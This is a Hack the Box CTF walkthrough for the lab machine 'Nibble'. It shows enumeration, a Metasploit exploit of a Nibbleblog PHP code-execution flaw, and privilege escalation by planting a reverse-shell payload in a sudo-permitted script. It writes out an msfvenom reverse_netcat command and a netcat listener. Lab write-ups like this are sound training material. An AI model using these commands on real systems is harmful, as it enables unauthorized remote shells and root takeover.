Hack the Box Challenge: Nibble Walkthrough

Hello friends!! Today we are going to solve another CTF challenge “Nibble” which is categories as retired lab presented by Hack the Box for making online penetration practices. 

Level: Easy

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Nibble is 10.10.10.75 so let’s initiate with nmap port enumeration.

As you can see in the given screenshot that we have two services running on our Target Machine, ssh and HTTP on ports 22 and 80 respectively.

The Port 80 is open so let’s open IP in out Browser to see that if a website is hosted on the IP. After opening the IP in the browser, we were greeted by following page.

Then we use curl to send http request on http://10.10.10.75 and notice /nibbleblog/ which could be any web directory.

So we execute the http://10.10.10.75/nibbleblog/ directory put us on the main page of a blogging platform NibbleBlog Yum yum. Without wasting time search for the exploit in the Google and Rapid 7 link for its exploitation.

So we load metasploit framework and executed following command to take meterpreter session of victim’s VM.

According to this module Nibbleblog contains a flaw that allows an authenticated remote attacker to execute arbitrary PHP code. This module was tested on version 4.0.3.

From given below image you can observe meterpreter session1 opened for accessing victim tty shell.

Now let’s finish the task by grabbing user.txt and root.txt file. First I move into /home directory and check available files and directories inside it. I found the 1st flag “user.txt” from inside /home/nibbler.

For spawning proper tty shell of target’s system we need to import python file, therefore, I run following command inside meterpreter shell.

Inside /nibbler there was a zip file so we try to unzip it with help of following command and after extracting zip file we got a directory “personal”, so we get inside it, then with a little more efforts found a script monitor.sh.

Then I check sudo rights for user “nibbler” and notice nibbler has sudo permission for script monitor.sh which means he can modify this script

So in a new terminal we generated a payload for netcat shell with help of msfvenom command as shown and copied the highlighted code and start necat listener too.

msfvenom -p cmd/unix/reverse_netcat lhost=10.10.14.25 lport=5555 R

nc -lvp 5555

Then to it exploit it we move inside following Path: /home/nibbler/personal/stuff/ and paste above copied code inside monitor.sh as shown below

Since we knew monitor.sh has full permission, so we can run it to obtain reverse shell along root access.

On other we have netcat listener, which has provided root access to us. Let’s finish this task and grab the root.txt file………………………………..

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Related Posts Plugin for WordPress, Blogger...

Leave a Reply

Your email address will not be published. Required fields are marked *